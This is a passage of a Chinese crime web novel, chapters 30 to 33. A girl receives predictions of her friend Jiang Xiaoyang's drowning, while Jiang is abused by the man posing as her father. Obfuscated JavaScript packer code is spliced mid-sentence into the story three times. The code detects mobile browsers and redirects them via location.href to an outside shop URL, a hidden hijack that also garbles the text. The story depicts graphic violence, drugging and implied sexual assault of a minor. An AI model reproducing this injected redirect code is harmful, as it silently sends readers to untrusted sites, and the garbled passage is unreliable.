迸着青筋的手慢慢抚上了黑色长裤,像是在钢琴上反复寻找某个音符,又像是在抚摸情人柔顺的长发。 姜晓阳终于开口了,却不是他想要听到的话。 “……你不是我爸。” 悠然的手停了下来,姜国栋笑意越发深了:“你说什么?” “你不是我爸,我爸不会做这种事,我爸不会用令人作呕的眼神看我的朋友——”姜晓阳剧烈地喘着气,“我爸早就死了,别装了。” “砰——!” 一声碰撞的巨响,姜晓阳抱着的背包砸在了地垫上,拉链大开,里面的盒子哗啦啦地响了起来。 少女的头颅被用力往后拉扯,剪短的头发拽紧在粗大的手掌中,狠狠往前一砸,就在快要碰上车窗玻璃的时候,又往旁边一偏,砸向副驾驶座位前面的台座。 姜晓阳喉咙里发出一声压抑的痛呼,视线剧烈地摇晃起来,头上有黏稠的液体流了下来。 “啧,多漂亮的头发,怎么就沾上脏东西了。”男人像是呓语一样地说着,“还好宝贝的脸没有受伤,唉,我怎么就控制不住我的脾气呢,我真坏……我真坏。” 姜晓阳死死地盯着面前的男人,忍着头上传来一阵一阵的眩晕,想要趁他不注意伸手去解安全带。 解不开。 安全带的座扣里被一枚薄如蝉翼的铁片卡住,系上安全带的时候察觉不到它的存在,可一旦系好之后,就再也打不开了。 姜晓阳不顾一切地挣扎起来,白皙的手指被安全带摩擦得通红一片,血淌下来染在她的手背上,她浑然不觉,甚至试图用肩膀去将门撞开。 只是这一切都是无用功。 车门锁死,安全带死死地将她禁锢在了座位上。 姜晓阳仓皇抬头,车外是一片黑暗——他的车恰好停在监控的死角处,冰冷的白色摄像头背对着她。 它看不见。 没人能看见。 她的心一寸寸凉了下去,然而这番挣扎,越发激怒了另一个人。 “我就知道你不会乖的。” 姜国栋表情十分失望。 为什么呢,他亲手抚养起来的宝贝变得叛逆了,不会再那样怯怯地躲在女人的身后,用她那双纯净又漂亮的大眼睛看着他。 “爸爸真后悔呀……” 扶手箱打开,里面露出一个黑色的皮箱来。 可她又变得那么让人神魂颠倒,那么柔嫩又白皙的皮肤,那么姣好又成熟的身躯。 像是一颗饱满到极致的水蜜桃。 尖锐的针扎进皮肤,少女的瞳孔在痛苦中骤然放大,然而即使是这样的酷刑,她仍然紧紧地盯着他,毫不退缩,像是燃着燎原大火。 下一秒,她的脖子被重重地掐住。 “说,说对不起。” “……” “说你错了。” “……” 鲜血顺着头发蜿蜒而下,在狰狞的旧日伤疤上又添上了一笔艳色,像是绽开的玫瑰花。 她的眼前模糊不清,肺里的空气急剧减少,一阵阵灼烧的痛楚涌了上来。 脑海里浮现出另一张无忧无虑的脸,带着一点小动物的好奇,一点朋友间的亲昵。 “你在游泳馆救了我,我们又都喜欢同一本书,这算不算一种缘分?老天爷也想撮合我们当朋友!” “晓阳你好厉害!能在水里憋气那么久!” “真的能跟我一起去吗,要是家里不同意的话,咱们就下次再出去玩,没事的~” 视野中的一切渐渐变得灰败,开门声响起,副驾驶座上的人被拖了下来,拖入汽车与墙角的视线死角之中,没多久,阴影里传来痛苦而忍耐的悲鸣。 可就连这悲鸣,也像是被人死死地捂住,被汽车发动机的嗡鸣迅速掩盖过去。 …… “妈,林叔叔,我回来了!” “哎哟你这孩子,你知不知道我给你打了多少个电话,怎么都不接!” 林语禾刚用钥匙打开门,常女士就扑了上来,抓住她一顿数落。 她“啊”了一声,打开手机这才发现真有七八个未接来电,但刚刚在路上急着赶回来,忘了要开声音,所以一个都没接到。 “去省城之前怎么和我说的,口口声声说‘妈妈我一定不关声音’,结果真到要联系的时候是一下也联系不上。”常美琴火冒三丈,眉毛倒竖,“你想干嘛,不要你妈了,要搞离家出走啊?” 林语禾被她最后那句话刺了一下,正要反驳回去,可一抬眼,就看见常女士眼眶红红的,说话的声音也有些哽咽。 再远一点的茶几上放着一盒纸巾,其中一张还被她妈这会儿攥在手心里。 林语禾的心一下就软了下来,她动作利落地换好家里的拖鞋,上去就亲昵地挽住了她妈的手臂:“怎么可能离家出走,我家里这么好,我妈这么爱我,我傻了才不要妈妈呢!” 常美琴眼眶一热,嘴巴还很硬:“别来挨着我!不想看见你!” “就要挨着,我是你女儿,跟你挨着天经地义。”林语禾笑嘻嘻的,才不管她妈嘴巴上说什么,伸出手就把人搂住了,“妈我还没吃饭呢……饿得头晕了,好难受,你等会再骂我吧,让我靠会儿。” “头晕?别是低血糖了吧……林勇,林勇!” 常美琴急急忙忙地叫起丈夫的名字,“小禾说她难受,这孩子别是低血糖了,家里不是还有那个葡萄糖吗,你赶紧给孩子兑一杯!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13377346|140782||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“知道了,你别急,我去给小禾兑。”林勇见老婆慌了神,连忙让她转移注意力,“小禾你想吃什么,叔叔给你做?” “鱼香肉丝~” 林勇应了一声,转身就要去药箱子那找葡萄糖,常美琴思来想去不放心,给林语禾拿了个大抱枕过来靠着,自己起身进了厨房:“你就别来掺和了,你做鱼香肉丝那手艺不如我,小禾就爱吃我做的。” “……行吧。” 林勇哭笑不得地看着老婆风风火火地又系上了围裙,不多时里头就传来煤气灶打开的声音,抽油烟机嗡嗡地工作起来。 沙发上刚还奄奄一息的女孩腾地坐了起来:“谢谢林叔叔。” 她妈是关心则乱,被她一唬就吓得自乱阵脚,林叔叔却是一开始就看出来她压根没哪里不舒服,那葡萄糖她也用不着喝。 不知道买的什么牌子,一股浓烈的香精味儿,一点也不好喝,林语禾想着,林勇却笑眯眯地把温热的葡萄糖水递到她面前。 “林叔叔?” “低血糖,还是得喝点补充体力。” 林语禾一个头两个大,万般不想喝,林勇却指了指厨房里的常美琴,对着她做了个嘴巴上拉链的动作:“你要是不喝,你妈那儿可瞒不过去。” “……我喝。” 林语禾垂头丧气,捏着鼻子将杯子里的葡萄糖补液一饮而尽,那奇怪的味道让她顿时脸皱成了一团。 还好面前又出现了一杯白开水,林语禾接过来咕咚咕咚喝光,这才把嘴巴里头的味道压了下去。 看着她将水喝完,林勇这才松口气:“安全回来就好。” 林语禾愣了愣,却发现眼前男人的神情也有些憔悴,身上隐隐带着一点烟味。 因为她妈不喜欢烟味,林叔叔从不在家亮烟盒子。 极少数想抽的时候也会自觉躲到外面去抽,更是要等身上味道散完了才会回家,可此刻她却闻到了烟味。 “下次绝对不会了。”林语禾诚心诚意地保证道,“……让你们担心了。” 林勇欣慰地拍了拍她肩膀:“我去看看你妈要不要人帮忙打下手。” “好。” 林语禾想了想,踩着拖鞋回卧室翻出了床头的诺基亚5220XM,她和舒任联络用的那个老式直板手机。 今天要去省城玩,似乎也没什么事情需要和他说,林语禾干脆就没带这个手机出门。 她打开屏幕,正习惯性地想在备忘录里和舒任分享今天一天的见闻,却发现对方已经在里面留下了信息。 【你确定你新认识的朋友是宣城四中的姜晓阳?】 林语禾愣了愣,敲字回复【确定呀,晓阳亲口说她是四中的……怎么啦,你们认识吗?】 屏幕上的光标跳个不停,然而任凭林语禾心怎么痒痒地想要快点看到回复,那头始终没有出现新的文字。 直到外面传来盘子端上桌的声音,常女士叫她出去吃饭,备忘录里出现了一条新的留言。 【10月8日晚上,姜晓阳会死于游泳溺亡。】 林语禾:?! 她不可置信地睁大了眼睛,这上面每个字她都能看懂,可组合在一起,就好像是天书一样,让她的思绪瞬间陷入了混乱之中。 舒任在说什么? 晓阳……会死?! 林语禾豁然抬起头,日历上“10月3日”被红笔大大地圈了出来,下面写着“和晓阳桂圆雨娜一起去欢乐谷”。 距离10月8日,还有五天。 31. 第 31 章 【你是不是看错了,其实不是同一个人?】 【宣城四中高二学生姜晓阳,她爸是新世界游泳馆教练姜国栋。】 舒任的视线转回眼前的卷宗上。 溺亡,在宣城并不是一件罕见的事情,早些年经济更落后那会儿,每年都有小孩去水库或者是下河捞鱼游野泳,最后不幸丧生的悲剧。 之前甚至上面还发下来过任务,要求他们必须要加大中小学生夏季防溺水的安全教育工作,舒任那会也跟师傅一起进过学校,给学生们开过讲座上过课。 但这样的悲剧大多数集中在初中,甚至是小学,出意外的学生往往对危险没有概念,家里又多放养式教育,要不就是留守儿童,没有人来照看这些孩子。 涉及到十六七岁的高中生,还是集体溺亡,他翻遍了过去十年的宣城卷宗,只发现了两起。 这两天的【临宣山溪流集体溺亡事故】。 以及十年前的【宣江集体溺亡事故】。 和前者相比,后者的卷宗已经明显有了时间的痕迹,十年前还没有如今这么高效的数字系统,就连电子卷宗系统,也要等到2015年才开始试点。 宣城这种小地方,甚至是2016年以后才陆续用上。 明黄色的卷宗纸随着时间流逝,呈现出淡淡的褐色,侧面用来固定位置的白色细线一层又一层地缠绕在上面,却仍然作用不大,最终用夹子夹在了一起。 里面的文书格式还停留在老式的风格上,字迹微微向两边晕开,有些老旧,但仍然能清晰地看清上面的字眼。 【2010-034】 【案件类型:集体溺亡】 …… 【案件概述:2010年10月9日,宣城市宣江(江畔公园至宣城桥段)发现5具尸体,其中2人为女性,3人为男性。目击者李XX在江畔公园晨跑时看到江中漂浮的尸体后立即报警。警方迅速赶到现场并展开调查。】 …… 【现场描述:宣江水流缓慢,尸体漂浮在距离江岸约5米左右的水面上,面部朝下。】 …… 【男性A:16岁,身穿黑色T恤及牛仔裤,未发现明显外伤。】 【男性B:17岁,身穿白色背心及蓝色家居短裤,胸前有抓痕。】 【男性C:17岁,身穿灰色短袖及短裤,右手臂有擦伤。】 【女性:16岁,身穿红色吊带短裙,衣领有撕裂迹象,左手臂存在淤青,另全身存在多处陈旧伤痕。】 【女性:16岁,身穿黑色长袖及长裤,右脸有抓痕。】 …… 【死因为溺水窒息死亡,肺部充满水分,气管内存在泥沙,推测死亡时间在10月8日23:00至10月9日1:00之间。】 【死者身上均未发现致命外伤或绑缚痕迹,现场无他人活动迹象。】 【推测五人相约在宣江河边见面,途中因不明原因发生激烈争执,随后不慎滑入水中,由于夜晚视线不佳,无人救援,导致意外溺亡。】 舒任快速地浏览过一遍勘察结果和走访调查结果,目光停留在尸检结果上。 和他目前正参与的这起意外溺亡事故相同,十年前的这场集体溺亡事故,尸检没有发现任何异常。 无论从什么角度看,证据都显示出这只是一场令人痛心的意外。 这桩意外处理起来唯一的棘手点在于,和十年后一样,死者的家属表现出了极大的抗拒心理与消极抵抗。 拒不认尸,决不火化。 但最终它解决了,否则也不会有眼前的这本卷宗,舒任看了一眼“后续处理”里写着的“死者遗体已移交家属处理善后事宜”,合上黄色书页。 封面上有一个他熟悉的名字。 【报告撰写人:闫求真】 闫求真,就是舒任师傅老闫的名字,系统里对于谁来写卷宗并没有严格规定,十年前只会比现在更加宽松。 舒任听老闫说过,基本上就是谁经办,谁来写,毕竟没有人会比经办警察本人更了解案子的情况。 …… 临宣山这起溺亡事故还远没有到结案的时候,市局里的每个人都明白,这会是很长一段时间的拉锯战。 但整个警察局到底不可能只绕着这么一个事故转,就在这几天堆起来的案子都快成了山。 大多数都是诈骗,信用卡诈骗、电信诈骗,还有极少数是斗殴、盗窃之类的案件。 每个人都忙得昏天黑地,常常连接下来该吃午饭还是晚饭都分不清。 舒任跟着师父老闫自然也不可能有时间休息。 正好最近局里要搞24小时常态化巡逻,刑警支队也被划派了一个小组轮流巡逻,这天就轮到了他和师傅一起。 欢声笑语,车水马龙,他们径直从中穿过,老闫看似随意地观察着人群,鹰隼一样的眼神却很锐利。 没什么情况。 歇口气,喝口水,老闫叼着棒棒糖,回头斜着眼睛看徒弟:“所以你就想到了来问我?” 最近因为溺亡案,老闫破了“戒烟”的承诺,结果他孙女不让抽烟,为了这事儿在家发了好大的脾气。 老闫就这么一个孙女,恨不得捧到天上去,现在不仅把烟戒了,连从会议室出来都要专程换个外套,免得回去被抓包。 舒任点了点头,目光在人群中来回扫动:“……当年那案子,毕竟是师傅您经办的。” 老闫把棒棒糖拿出来,在指尖旋转了几圈,跟弹烟灰似的下意识弹了两下:“所以呢?” “……我觉得很现在的这桩案子很像。” 老闫笑了笑:“确实很像。” “那……” “你知道吗,当年我和你就坐在同一个位置上。”老闫点了点舒任的肩章,“在会议室里,我说了和那天一模一样的话。” “尸检正常,勘察正常,走访正常……一切都没有任何疑点,‘意外溺亡’这四个字有充分的证据证明。” “——世界上真的有这么巧合的事情吗?” 老闫直起身,示意休息时间结束,两人又要回到巡逻的工作中。 他们的负责范围正好就在江畔公园附近,过去十年,这里已经不再只是光秃秃的一条绿道公路,而是开满了整条街的大排档和夜宵店。 和卷宗里拍摄的照片已经毫无相似之处。 夜色正浓,这条街上却亮如白昼,摆在外面的矮桌坐得满满当当,男男女女笑闹着。 喝酒、划拳、聊天。 穿着制服的舒任和老闫从他们身边走过,没有引起任何关注。 舒任偏过头,看向不远处的宣江。 江心隐隐倒映出了岸上的喧嚣,高楼大厦上醒目的LED灯广告在江水里摇摇晃晃。 他人就在这里,但还是很难想象,十年前这里曾经有四条鲜活的生命逝去。 就隔着这么近的距离——无论是时间,还是空间。 巡逻一直到下半夜才收尾,这天师徒俩的运气还算好,没遇上什么醉汉闹事,也没有不长眼的喝了酒还敢偷偷摸摸开车,被逮个现行。 老闫捶着自己的后腰:“人还是得服老,年轻的时候连着值班两三天都不感觉累,现在就巡逻这么大半夜,感觉骨头都要断了。” 两人回去交班,把身上的制服也换下来,舒任不放心师傅自己回家,干脆一路送老闫到家门口。 “行了,老了又不是腿断了,就这两步路我自己走得了。”老闫哭笑不得,“你也赶快回去休息,随时还有任务……年轻人,别把自己想得跟铁打似的,老了有你吃苦的时候。” “好。”舒任应着,却没有挪步。 “还有啥事儿?” “我不相信绝对的巧合。”舒任迟疑了一下,“但一切结论都必须建立在有证据的前提下,只是怀疑,不能成立。” 老闫直直地看着徒弟,半晌,靠在楼梯栏杆上,露出淡淡的笑容:“没错。” “那我也可以告诉你,当年这件意外事故的确有一件很奇怪的地方,只是它改变不了事故结果,也改变不了最终的性质,没有写进卷宗。” “——你就当做一个老头子的自言自语。” “叫做姜晓阳的那个女孩,和其他人并不熟悉。” “她为什么要和他们一起出去?” …… 【能告诉我整件事情的经过吗?】 【我知道这可能不合规定,但是我没办法眼睁睁看着晓阳没命,我不知道也就算了,我已经知道了,让我什么也不做,我一辈子都会后悔的!】 林语禾打字打得飞快,她捂紧了身上的被子。 她妈刚给她换了新的厚棉被,趁着白天天气晴朗,拿出来晾晒得却清清爽爽,还带着太阳的味道,可她置身其中,却仍然手脚冰凉。 乍然收到死亡预告是什么感觉?林语禾觉得自己应该是世界上最有发言权的那个人。 ——而且还不止一次,是两次。 两次死亡预告,偏偏都降临在她身上,这件事就连林语禾自己都觉得荒谬。 更荒谬的是,上一次她不信,舒任却果断地将事情经过发了过来,这一次她信了,舒任却可能有顾忌。 他是个成年人,而且还是个警察。 林语禾再一次清晰地认识到这一点,面对许归苑和莫雨娜,她可以撒娇卖乖,可以耍赖装傻,因为她们是同龄人。 可面对舒任,这些手段恐怕并不能奏效。 林语禾咬了咬牙,即使没用,她也要厚着脸皮尝试一下舒任之前告诉她的“卖萌”,反正她就是个高中生,就算舒任觉得她太幼稚也无所谓。 而且他们之间还隔着时空的距离,他也教训不了她。 一边给自己鼓劲儿,她一边按动了九宫格,但没等她的句子打出来,舒任那边发来了新的留言。 【陈臣安,顾延,李思华,尹燕,这四个人姜晓阳认识吗?】 【求你】 她没去管自己还没写完就发出去的那两个字,所有的注意力都被那四个人名给吸引了过去。 林语禾回忆了一下,迅速回复。 【晓阳比较内向,我没听她提起过这几个人】 【这几个人和姜晓阳一起溺亡】 林语禾愣了愣,指尖慢慢地冰冷了下来,她咬了咬唇,慢慢敲字。 【我去问晓阳!】 她没有时间兜圈子了,询问晓阳本人是最快的,可她有什么理由把话题引到这几个人身上……林语禾看向了屏幕上,舒任随后将案情经过简单地梳理发到了备忘录里。 林语禾深深吸了口气,平复下剧烈鼓动的心跳,冰凉的手指拿起新手机,编辑新短信。 “晓阳~今天玩得开心吗?晚上回来晚了,有没有害 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13377347|140782||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你挨骂呀T_T明天我们去江畔公园逛街好不好?那边新开了一家必胜客,我请你吃饭,就当赔礼道歉啦~:)” 点击,发送。 “咻”的短信音,“已成功送达”的提示显示在她眼前。 林语禾慢慢地把手机盖在了脸上,闭上了双眼,盼着晓阳的回信能快一些。 或许是她的祈祷起了作用,手机“叮咚”地响了起来,常女士听到动静,敲了敲她的房门:“小禾,还没睡呢?” “马上就睡!”林语禾连忙把声音关掉,换成了震动,“这就睡啦!” 缩回被窝里,借着屏幕的荧光,林语禾打开了短信界面,心却沉了沉。 “抱歉,我身体不太舒服,明天不去了。” “怎么回事,是不是在欢乐谷玩的时候不小心着凉了?” “不想和家里说的话,明天我陪你去医院看看?” 林语禾飞快地回复了两条短信过去,这次回复足足等了半个多小时才来。 “不用。” 简简单单的两个字,连带着前面晓阳的信息,似乎字里行间都能读出屏幕那一头的冷淡与疏远。 林语禾翻了个身,把脑袋埋进枕头,只觉得心里乱糟糟的,所有的思绪像是浆糊一样混作了一团,搅得她忐忑不安。 她们只是认识几天的朋友,也许晓阳并不是生病了,而是不想和她们一起玩了? 还是她父母觉得自己这群朋友太不靠谱,不想让女儿和她们来往了? 林语禾吐出一口气,胸口却还是闷闷的堵得慌,她又翻了个身,一不小心手机砸到了地板上,外面的电视机声音顿时小了下来。 紧接着门外传来了哒哒的拖鞋声:“小禾?” 常女士的声音,林语禾大气不敢出,趴在枕头上一动不动闭眼装睡,过了没多久门吱呀一声轻轻打开,常美琴摸黑走了进来,摸了摸女儿的冰凉的手,又把她身上的被子往上拉了拉。 “这孩子……等会着凉了怎么办……”常美琴小声嘟囔了一句,又把地上的手机捡了起来,放到了桌上,“手机怎么能放枕头边,辐射那么大……” 自顾自念叨了一会儿,她这才摸了摸女儿的脑袋,轻手轻脚地退了出去。 林语禾睁开眼。 直到门缝那倒映出来的电视屏幕光闪动起来,意味着常美琴又继续看起了电视剧,她这才蹑手蹑脚地光脚下床,把手机拿了回来。 备注着“晓阳”的电话号码没有再来短信。 林语禾把它放在贴近胸口的位置,心脏的温度慢慢地传到了手机上,让她紧握的指尖也跟着温暖了起来。 没关系,她可不是轻易会说放弃的人! …… 10月6日。 林语禾吃完早饭就出了门,常美琴见女儿匆匆忙忙的样子,拿着锅铲差点追出来,幸好她早就想好了理由:“我去书店,中午不回来吃饭啦!” 常女士这才放松下来,放下锅铲又去给她拿了一百块钱,让林语禾中午找个地方好好吃饭,别看起来顾不上时间又饿肚子。 她并不怀疑女儿话的真实性,毕竟前两天林语禾才和朋友一起去了书店,还买回来了一本看上去挺哲学的书,林语禾不在家的时候,常女士翻了几页,里头的有些话连她也觉得有道理。 这个年龄女生的家长大多对沾上“爱情”两个字的东西讳莫如深,常美琴也不例外,但对于其他的所谓闲杂书,她反而没那么忌讳。 看哲学书好啊,就是要多看这些有深度的书,人才有思想,不然光是念课本上那些东西,有什么特色? 当然,常女士不肯承认自己这种心态更多是出于希望女儿与众不同,能在别人面前秀一把知识上的优越感,好在林语禾对母亲的这种想法喜闻乐见。 反正不排斥她去书店就行! 林语禾把钱收好,背着斜挎包三两步就跑出了大院,在十字路口左右看了看,径直往新世界商业广场那边跑去。 时光书屋就开在广场附近,临近国庆末尾的这几天,人气显然没有之前旺了,听到门口有人推门而入的风铃声,殷老师从书堆里抬起头来:“欢迎光临。” “殷老师!” 林语禾一路跑来,有些上气不接下气,她咽了咽口水,撑在前台的台面上,满含希望地看向了眼前的白衬衫女人。 “……您知道姜晓阳住哪儿吗?” 这就是林语禾思索了一整晚,想出来的办法——来时光书屋问店老板。 殷老师一怔,随即笑了笑:“我不知道。” “您再想想呢,您应该是知道的。”林语禾却不肯让步,“我知道晓阳每周都会在书屋参与沙龙,有一次她东西不小心掉在这里,还是您帮忙送到她家去的。” “你和晓阳关系挺好呀。” “……啊。” 林语禾愣了愣,殷老师笑着摆摆手:“没有别的意思,我没想到她连沙龙的事情都主动和你分享了,看来还是你们这些同龄人比较有共同话题。” 殷老师说完埋下头去,继续整理着手边的书,台面上有一个硕大的书篮,每一本都十分崭新,棱角分明,塑封薄膜也齐齐整整,一看就知道是刚到的新书。 书籍用一个小仪器“滴”一下入库,之后再人工分去不同的书架上,殷老师抬眸看了眼面前的少女。 “你要晓阳的地址,是有什么事?” 32. 第 32 章 城南区,锦馨雅苑。 2010年,哪怕是宣城市这样的小地方,商品房也已经一栋接着一栋地垒了起来,锦馨雅苑就是其中一个。 背靠着本地房地产开发商,虽然比不上省城那些大楼盘,但本地人却很是青睐。 小区面积不大不小,来来往往的有遛狗的,有打太极的,也有买菜的,进进出出的人群悠然从小区出入,号称“防盗防贼”的门禁就像是一道摆设似的,无人理睬。 林语禾又看了一眼手机里记着的地址,锦馨雅苑8栋15-1,晓阳的家就在这里。 这个地址还是她在书店软磨硬泡让殷老师告诉她的,对方虽然总是神色和善,对谁都一副温柔的模样,但却很有原则,说什么都不肯泄露晓阳家在哪。 林语禾又惦记着五天后的溺水事件,可以说是使出了浑身解数,什么方法都耗尽了,差点把她妈给她吃饭的钱全用来买书,“贿赂”殷老师给她说一下地址。 还好,结果最后是好的,林语禾顺着稀稀拉拉买菜回来的人群坐上了电梯,电梯里有些闷热,她盯着电梯的楼层一点一点变高,最后停在了15楼。 这栋楼最高也就是15楼,只有林语禾一个人目的地在这一层楼,她慢慢地从电梯里走出来,跟着墙上的指引往右转,走到最角落里的那道防盗门门口。 深深吸口气,然后,敲门。 “谁呀?”里头传来了女人的声音,不是晓阳,林语禾镇定地回了一句,“我找姜晓阳。” 那头不说话了,过了好一会儿,有脚步声由远及近地靠近了防盗门的另一侧,紧接着“咔哒”一声,锁芯打开,约莫三四十岁的女人开了小半道门。 她的样子有些有气无力——女人穿着短裙,长发盘起,一张与晓阳有七八分相似的美丽脸庞上画着烟熏妆,夸张的眼影与紫黑色的口红,让她整个人看起来都散发着阴郁的感觉。 这应该就是晓阳的妈妈。 林语禾有些紧张,还是努力扬起一个礼貌的笑容:“阿姨你好,我是晓阳的同学。” “找她有什么事?” 女人靠在门上,双臂抱在胸前,防盗门虽然开着,但被她挡得严严实实,林语禾什么也看不见。 不过林语禾对自己可能遭遇的盘问早有准备,她从包里拿出一本书来:“这是之前晓阳在书店买的,她一直没来拿,我今天就过来送书给她——她在家吗?” 女人沉默地看了林语禾一会儿,也不回答她的问题,只是伸手:“书给我。” 林语禾心里咯噔一下,她到这里来可不是为了送本书就走的,这会儿急中生智,忽然想到一个理由。 “我还有本书在晓阳那,她一直没还给我,您能帮忙问问她是不是弄丢了吗,哎呀,那上面还有我的笔记,要是弄丢了的话那些笔记都找不回来了,要是老师问起来我没办法交代——” “行了。”女人开口打断了她的话,有些不耐烦地说道,“你自己找她说。” 她说完,转身就走,林语禾在后面扬声问道:“阿姨,请问鞋套在哪里?” “直接进。” 林语禾“哦”了一声,这才抱着书,一溜烟小跑地进了姜家。 晓阳她妈妈似乎是回了自己房间,连外面大门有没有关都没在意,林语禾反手合上门,怀抱里的书抱得很紧,像是在掩饰她怦怦乱跳的心跳。 刚刚她说的那些话当然是胡诌的,林语禾自己都觉得蹩脚,但晓阳妈妈却还是把她放进来了,这让林语禾松了口气,有些好奇地打量着这个家。 常美琴很擅长织东西,林家摆的沙发啊电视之类的,容易落灰的家具电器上面总是铺着一层薄薄的织物,温馨又不容易生灰。 晓阳家与她家的装潢完全不同,看上去都像是定制的家具,也没有多少日用品摆在外面,乍一看不像是家,倒像是样板间。 林语禾一边走一边看,就只有两个房间,一个在进门不远处,一个在靠近阳台的位置。 离大门近的那个刚刚晓阳妈妈进去了,她干脆就敲起了阳台附近的那扇卧室门:“晓阳,你在里面吗?” 里面发出了什么东西落地的轻响,紧跟着晓阳的声音紧贴着门传了过来:“……小禾?” “你声音好哑,是不是病得很厉害?”林语禾有些担心地问道,“能开门吗,我给你带了东西来。” “……不用了。” “要不然你就开一下门,我看看你怎么样,看了我就走了。” “……你回去吧。”晓阳的声音有些虚弱,“别来了。” 林语禾张了张嘴,伸手去够门把手,可从里面已经反锁上了……刚刚晓阳妈妈也是这样,一进门就反锁了卧室门,怎么她家人都爱这样! 林语禾鼓了鼓腮帮子,无论她问什么,晓阳都表现出不想和她多说的样子,跟之前完全不同。 明明之前晓阳在泳池里救过自己,在书店那时候她们俩一起看同一本书,一起讨论书里的那些句子那么开心。 明明她们还一起去欢乐谷,晓阳还贴心地准备了那么多东西给她……林语禾忘不了那天自己在过山车上拉着晓阳的手尖叫,下来晓阳的手都红了,却什么都没有抱怨。 明明她都以为自己有新朋友了,怎么一觉醒来,一切都回到原点了呢? 林语禾咬了咬牙,低头发短信。 “你不开门,我就在门口等到你开门,反正大门关着,不会有人注意到我。” 其实姜家在走廊的最深处,也不会有谁无缘无故走到这里来看,但林语禾还是刻意把这句话加上了,她就是想让晓阳知道,她今天是来真的,不见到人她不会走。 厚脸皮就厚脸皮! 信息已送达的提示亮起,林语禾这才叹了口气,揉了揉自己的太阳穴,自己的语气好像太僵硬了,可一想到晓阳的生命还只剩五天,她就没办法像之前一样没心没肺地说话。 门却忽然开了,一片阴影投在林语禾身上,她仰起脸,惊喜不已地正想说什么,晓阳却眉头紧皱地问道:“……大门关着?” “是啊。”林语禾解释道,“你妈妈进卧室去了,我怕有小偷,就把门关上了。” 她看着眼前晓阳的样子,只相隔了一晚上,晓阳看上去却憔悴了很多,在家里也戴着黑色的毛线帽,身上也是穿得严严实实,长裤,高领上衣,连手腕手指都藏进了衣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13423355|140782||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 袖里,像极了发烧畏冷的情况。 “晓阳,你……” 晓阳眉头皱得更紧,她沉默了一会儿,忽然说道:“你昨天不是问我要不要出门吗……我去。” “啊?”林语禾都在肚子里酝酿了好多话了,万万没想到事情转机来得这么快,当然不能错过这个机会,“那我们现在就走……你要换衣服吗,我在这儿等你?” 晓阳摇摇头:“小区出去有个公交站,你在那等我。” “公交站……?” “嗯。”晓阳催促道,“你现在就去。” 林语禾一头雾水,却还是乖乖地按她说的往外走,走到一半她又想起来,拍了一下脑袋:“对了,殷老师让我给你带本书——” 她说有书给晓阳并不是信口胡说,只不过那本书不是晓阳买的,而是殷老师听说晓阳生病后准备的“探病礼物”。 “米奇·阿尔博姆的《相约星期二》。”林语禾把怀里的书递过去,“殷老师说你会喜欢。” 晓阳沉默地接过,看了一眼题目,点了点头:“我知道了……谢谢你。” “那我去公交站等你啊!”林语禾这下心彻底放了下来,眉开眼笑地背着斜挎包往外跑,“你不急,慢慢来!” 晓阳静静地看着那道活蹦乱跳的身影一直消失在门外,这才慢慢地深吸了口气,氧气灌入,她的喉咙难以控制地剧咳起来。 “咳咳、咳咳!” 晓阳难受地松了一下衣领,手指上还有刚刚结痂没多久的伤疤,以及手背上密密麻麻的针眼。 纯黑色的衣领中,能窥见白皙的皮肤上有一道触目惊心的勒痕。 晓阳却无视了身上的所有痛楚,等咳嗽稍微好一些,她神色平静地敲开了另一间卧室的门。 女人在房间里抽烟,烟雾缭绕间,这对母女对峙着。 …… 林语禾对母女俩之间的交锋毫无所觉,她兴冲冲地坐着电梯往下,一路哼着小曲去找小区门口的公交站。 盘旋在她脑海里整整一日一夜的难题“咻”一下解开,现在她看天也蓝,看水也绿,看那些骑着摩托横冲直撞的混混都觉得能忍受了。 等晓阳来了,她要怎么和对方说比较好呢?林语禾坐在公交车的公共长椅上看那些人排队上公交车,有些神游天外地想着。 直截了当地告诉晓阳她会死?林语禾首先就把这个念头否决了,她自己第一次听到自己的死讯,都难以接受到觉得舒任是骗子,晓阳没理由相信她。 委婉地提醒她未来几天不出门? 可谁家学生不是逮着放假的时候出门猛玩?许归苑和莫雨娜这两天还又偷偷摸摸地跑去四中旁边上网了,甚至还约了林语禾,被她用晓阳的事情给拒掉了,要让人家不出门,这也太为难人了。 林语禾正想着,姜晓阳已经到了,什么都没带,只把手机握在手里,见林语禾好端端地坐在这儿,她紧绷的身体这才慢慢地松弛了下来。 “……要去哪儿?” 林语禾其实没想好去哪,她“唔”了一声,视线在公交站牌上的那些车次上扫了一圈,忽然有了个想法。 “我们去江畔公园!” 33. 第 33 章 朋友,到底意味着什么? 